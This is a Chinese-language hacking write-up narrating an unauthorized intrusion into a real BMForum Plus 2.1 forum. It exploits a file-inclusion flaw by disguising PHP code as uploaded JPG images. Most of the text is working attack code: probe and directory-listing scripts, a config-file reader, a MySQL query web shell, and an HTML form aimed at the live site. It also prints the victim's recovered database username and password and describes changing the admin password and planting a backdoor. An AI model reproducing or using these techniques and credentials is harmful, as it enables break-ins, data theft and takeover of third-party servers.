文章作者:lcx&pinkeyes
最近学了一点PHP INJECTION技巧,跃跃欲试想找一个站点试试。安全天使好像最近在PHP INJECTION上很有研究,那就拿他的站点做个测试吧。不过,我想他的站点肯定很安全,直接入侵是不行的,那就来看看他的站点上还有没有其它的虚拟主机。可好笑的是我把他的域名记成了
www.4ngel.com了(他的是4ngel.net),这样在whois.webhosting.info查询时就找到的与4ngel.com在同一ip上的一些其它的虚拟主机,其中就有本文的入侵目标bbs.zcemu.com。
为什么找到bbs.zcemu.com这个目标呢?因为它采用了BMForum Plus! 2.1 Beta 1 最新版论坛。我记得这个论坛在老一点版本上,无论是文本的还是基于mysql的都是有很多漏洞的。下载一个最新版本后,翻看代码,发现漏洞仍然存在。来看一个最致命的文件包含漏洞,datafie目录下的style.php代码如下:
复制内容到剪贴板
代码:
<?
if (empty($skin)) $skin='bmb2004.bs5';
if (file_exists("datafile/style/".$skin)) include("datafile/style/".$skin);
else include("datafile/style/bmb2004.bs5");这里的变量skin没有做任何过滤,只做了一点限制就是要求放在datafile/style目录下的。可是就这一点,我们也可以用../../来躲过代码检测的。再来搜一下那些php文件调用了style.php,结果发现好多,本文是利用listpic.php这个文件来入侵bbs.zcemu.com的。讲了半天,好像还没有说入侵方法。其实很简单,我们利用论坛上传附件功能,上传一个含有php代码的jpg文件,然后用listpic.php?skin=../../x.jpg这个语句就可以执行php代码了。
普通注册用户在论坛发够20贴就可以上传图像附件了。先在记事本上写一个<?php info()?>探针保存成lcx.jpg传上去,图像位置在所发的贴子里看的是bbs.zcemu.com/upload/form5_159_0_109514926.jpg。在浏览器里执行:
http://bbs.zcemu.com/listpic.php ... 159_0_109514926.jpg,成功看到代码运行(图1)。我以为剩下的事情简单了,再上传两个含有php代码的图像文件,一个是拷倍用的,一个是php后门,把php后门改成php后缀不就得了?可是事实远不如我想像的简单,要不然就不会像发出本文的感叹题目了。按照先前的思路,我上传了两个jpg文件。其中一个jpg是php后门,另一个代码是<?copy($a,$b)?>。先来暴错,提交
http://bbs.zcemu.com/listpic.php?skin=../../得出网站的物理路径(图2)。可是我copy完毕后却找不到copy成的php文件(图3)。后来,我又试了<?rename($a,$b)?>、<?Passthru("ls–la");?>等代码依然不能成功。很明显,我没有copy、rename和执行Passthru函数的权限。由于一个用户只能在一天内上传三个附件,所以我注册了多个用户,每个都发贴子20贴才能上传,这把我累得够呛。
那来点变态的吧,写代码如下用来读目录的,总不会不给读的权限吧?
复制内容到剪贴板
代码:
<?
$d=dir("/home/web");
echo "Handle:".$d->handle."<br>\n";
echo "Path:".$d->path."<br>\n";
while($entry=$d->read())
{
echo $entry."<br>\n";
}
$d->close();
?> 很幸运,我成功看到目录列表了(图4)。在图1的探针中看到主机开了mysql服务,应当这个论坛是数据库版本的。我们直接来读它的config.php文件,代码如下:
复制内容到剪贴板
代码:
<?
$fd=fopen("/home/web/jarod2/datafile/config.php","r");
while($buffer=fgets($fd,4096))
{
echo $buffer;
}
fclose($fd);
?> 幸运再次降临了,成功看到了文件内容。得到了论坛的数据库、用户名和密码(图5)。但是这台主机禁止远程连接的,就是说我们用本机的mysql根本连不上远程主机。怎么办,写一个本地连接的文件,再用论坛传上去吧。连接主机mysql服务端的代码如下:
复制内容到剪贴板
代码:
<?php
mysql_connect("$host", "$user", "$pass") or
die("Could not connect: " . mysql_error());
mysql_select_db("$db");
$sql=stripslashes("$sql");
$result = mysql_query("$sql");
echo "<pre>";
while ($row = mysql_fetch_array($result, MYSQL_BOTH)) {
for ($j=0; $j < count($row); $j++) {
printf (" $row[$j] ");
}
echo "<br>";
}
mysql_free_result($result);
?> 我们在本机提交mysql语句的客户端mysql.htm脚本如下(其中action地址就是我们上传的图像文件调用地址了):
复制内容到剪贴板
代码:
<FORM METHOD="POST" ENCTYPE="multipart/form-data" action="[url]http://bbs.zcemu.com/listpic.php?skin=../../upload/forum5_235_0_1095154553.jpg[/url] ">
主机:<INPUT TYPE="text" NAME="host" value="localhost">
数据库:<INPUT TYPE="text" NAME="db" value="jarod2">
用户名:<INPUT TYPE="text" NAME="user" value="jarod">
密码:<INPUT TYPE="text" NAME="pass" value="timzhang">
语句:<INPUT TYPE="text" NAME="sql">
<INPUT TYPE="SUBMIT">
</FORM> 先来提交一个show tables语句看看表的结构(图6),返回结果如图7所示(图7),成功看到了所有表名。再来提交desc bmb_userlist看一下管理员所在的表的结构,也如愿显示了(图8、图9)。剩下的事情当然是用mysql语句查看论坛的管理员名和更改的密码了,无非就是select和update语句而已,和mssql没有什么区别的,这里就不多说了(图10)。好笑的是BMForum论坛前后只采用同样的密码,只要我们改掉了管理员密码就可以成功登陆后台来上传php后门了(图11、图12)。最好笑的是入侵到这儿,我这才发现我把最初的目标
www.4ngelc.com记成了
www.4ngel.net了,不过毕竟在PHP INJECTION上我是有一点收获的。至于剩下的事情用所传的php后门提升权限,拿下主机,这可不是我想像的,我还没有那么深厚的linux功力。